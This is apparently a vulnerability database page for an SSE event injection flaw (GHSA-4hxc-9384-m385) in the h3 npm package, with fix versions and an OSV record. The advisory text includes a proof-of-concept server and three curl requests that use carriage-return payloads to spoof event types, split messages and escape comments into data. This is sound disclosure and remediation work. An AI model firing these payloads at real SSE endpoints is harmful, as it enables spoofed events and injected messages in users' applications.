GHSA-4hxc-9384-m385: H3 SSE Event Injection Vulnerability
MODERATEGHSA-4hxc-9384-m385 is a MODERATE (CVSS 5.3) sse event injection vulnerability (CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')) affecting H3 libraries in the npm ecosystem. The issue involves sse event injection via unsanitized carriage return (`\r`) in eventstream data and comment fields (bypass of cve fix). Remediation is available by upgrading affected packages to version 2.0.1-rc.17, 1.15.9.
GHSA-4hxc-9384-m385 at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N).
How to Fix GHSA-4hxc-9384-m385
To remediate this vulnerability, upgrade all affected H3 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install h3@2.0.1-rc.17
npm install h3@1.15.9
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls h3
How to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-4hxc-9384-m385, inspect your project dependencies using npm:
npm ls h3
Analyze the terminal output to locate any version of H3 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.1-rc.17), your application is affected.
Note: The npm ls h3 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), where the product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. In H3, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-4hxc-9384-m385 Affected H3 Versions
2 component(s)References
Frequently Asked Questions
What is GHSA-4hxc-9384-m385?
Which H3 versions are affected?
What version fixes GHSA-4hxc-9384-m385?
Is h3 affected?
What is the CVSS score of GHSA-4hxc-9384-m385?
What CWE is associated with GHSA-4hxc-9384-m385?
How can I check npm dependencies for GHSA-4hxc-9384-m385?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4hxc-9384-m385",
"modified" : "2026-03-20T20:50:38Z",
"published" : "2026-03-20T20:50:38Z",
"aliases" : [ ],
"summary" : "h3: SSE Event Injection via Unsanitized Carriage Return (`\\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)",
"details" : "## Summary\n\nThe `EventStream` class in h3 fails to sanitize carriage return (`\\r`) characters in `data` and `comment` fields. Per the SSE specification, `\\r` is a valid line terminator, so browsers interpret injected `\\r` as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single `push()` call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit `7791538` which addressed `\\n` injection but missed `\\r`-only injection.\n\n## Details\n\nThe prior fix in commit `7791538` added `_sanitizeSingleLine()` to strip `\\n` and `\\r` from `id` and `event` fields, and changed `data` formatting to split on `\\n`. However, two code paths remain vulnerable:\n\n### 1. `data` field — `formatEventStreamMessage()` (`src/utils/internal/event-stream.ts:190-193`)\n\n```typescript\nconst data = typeof message.data === \"string\" ? message.data : \"\";\nfor (const line of data.split(\"\\n\")) { // Only splits on \\n, not \\r\n result += `data: ${line}\\n`;\n}\n```\n\n`String.prototype.split(\"\\n\")` does **not** split on `\\r`. A string like `\"legit\\revent: evil\"` remains as a single \"line\" and is emitted as:\n\n```\ndata: legit\\revent: evil\\n\n```\n\nPer the [SSE specification §9.2.6](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation), `\\r` alone is a valid line terminator. The browser parses this as two separate lines:\n\n```\ndata: legit\nevent: evil\n```\n\n### 2. `comment` field — `formatEventStreamComment()` (`src/utils/internal/event-stream.ts:170-177`)\n\n```typescript\nexport function formatEventStreamComment(comment: string): string {\n return (\n comment\n .split(\"\\n\") // Only splits on \\n, not \\r\n .map((l) => `: ${l}\\n`)\n .join(\"\") + \"\\n\"\n );\n}\n```\n\nThe same `split(\"\\n\")` pattern means `\\r` in comments is not handled. An input like `\"x\\rdata: injected\"` produces:\n\n```\n: x\\rdata: injected\\n\\n\n```\n\nWhich the browser parses as a comment line followed by actual data:\n\n```\n: x\ndata: injected\n```\n\n### Why `_sanitizeSingleLine` doesn't help\n\nThe `_sanitizeSingleLine` function at line 198 correctly strips both `\\r` and `\\n`:\n\n```typescript\nfunction _sanitizeSingleLine(value: string): string {\n return value.replace(/[\\n\\r]/g, \"\");\n}\n```\n\nBut it is **only applied to `id` and `event` fields** (lines 182, 185), not to `data` or `comment`.\n\n## PoC\n\n### Setup\n\nCreate a minimal h3 application that reflects user input into an SSE stream:\n\n```javascript\n// server.mjs\nimport { createApp, createEventStream, defineEventHandler, getQuery } from \"h3\";\n\nconst app = createApp();\n\napp.use(\"/sse\", defineEventHandler(async (event) => {\n const stream = createEventStream(event);\n const { msg } = getQuery(event);\n\n // Simulates user-controlled input flowing to SSE (common in chat/AI apps)\n await stream.push(String(msg));\n\n setTimeout(() => stream.close(), 1000);\n return stream.send();\n}));\n\nexport default app;\n```\n\n### Attack 1: Event type injection via `\\r` in data\n\n```bash\n# Inject an \"event: evil\" directive via \\r in data\ncurl -N --no-buffer \"http://localhost:3000/sse?msg=legit%0Devent:%20evil\"\n```\n\n**Expected (safe) wire output:**\n```\ndata: legit\\revent: evil\\n\\n\n```\n\n**Browser parses as:**\n```\ndata: legit\nevent: evil\n```\n\nThe browser's `EventSource` fires a custom `evil` event instead of the default `message` event, potentially routing data to unintended handlers.\n\n### Attack 2: Message boundary injection (event splitting)\n\n```bash\n# Inject a message boundary (\\r\\r = empty line) to split one push() into two events\ncurl -N --no-buffer \"http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected\"\n```\n\n**Browser parses as two separate events:**\n1. Event 1: `data: first`\n2. Event 2: `data: injected`\n\nA single `push()` call produces two distinct events in the browser — the attacker controls the second event's content entirely.\n\n### Attack 3: Comment escape to data injection\n\n```bash\n# Inject via pushComment() — escape from comment into data\ncurl -N --no-buffer \"http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected\"\n```\n\n**Browser parses as:**\n```\n: x (comment, ignored)\ndata: injected (real data, dispatched as event)\n```\n\n## Impact\n\n- **Event spoofing:** Attacker can inject arbitrary `event:` types, causing browsers to dispatch events to different `EventSource.addEventListener()` handlers than intended. In applications that use custom event types for control flow (e.g., `error`, `done`, `system`), this enables UI manipulation.\n- **Message boundary injection:** A single `push()` call can be split into multiple browser-side events. This breaks application-level framing assumptions — e.g., a chat message could appear as two messages, or an injected \"system\" message could appear in an AI chat interface.\n- **Comment-to-data escalation:** Data can be injected through what the application considers a harmless comment field via `pushComment()`.\n- **Bypass of existing security control:** The prior fix (commit `7791538`) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security.\n\n## Recommended Fix\n\nBoth `formatEventStreamMessage` and `formatEventStreamComment` should split on `\\r`, `\\n`, and `\\r\\n` — matching the SSE spec's line terminator definition.\n\n```typescript\n// src/utils/internal/event-stream.ts\n\n// Add a shared regex for SSE line terminators\nconst SSE_LINE_SPLIT = /\\r\\n|\\r|\\n/;\n\nexport function formatEventStreamComment(comment: string): string {\n return (\n comment\n .split(SSE_LINE_SPLIT) // was: .split(\"\\n\")\n .map((l) => `: ${l}\\n`)\n .join(\"\") + \"\\n\"\n );\n}\n\nexport function formatEventStreamMessage(message: EventStreamMessage): string {\n let result = \"\";\n if (message.id) {\n result += `id: ${_sanitizeSingleLine(message.id)}\\n`;\n }\n if (message.event) {\n result += `event: ${_sanitizeSingleLine(message.event)}\\n`;\n }\n if (typeof message.retry === \"number\" && Number.isInteger(message.retry)) {\n result += `retry: ${message.retry}\\n`;\n }\n const data = typeof message.data === \"string\" ? message.data : \"\";\n for (const line of data.split(SSE_LINE_SPLIT)) { // was: data.split(\"\\n\")\n result += `data: ${line}\\n`;\n }\n result += \"\\n\";\n return result;\n}\n```\n\nThis ensures all three SSE-spec line terminators (`\\r\\n`, `\\r`, `\\n`) are properly handled as line boundaries, preventing `\\r` from being passed through to the browser where it would be interpreted as a line break.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "h3"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.0.0-beta.0"
}, {
"fixed" : "2.0.1-rc.17"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.0.1-rc.16"
}
}, {
"package" : {
"ecosystem" : "npm",
"name" : "h3"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.15.9"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/h3js/h3/security/advisories/GHSA-4hxc-9384-m385"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/h3js/h3"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-74" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-20T20:50:38Z",
"nvd_published_at" : null
}
}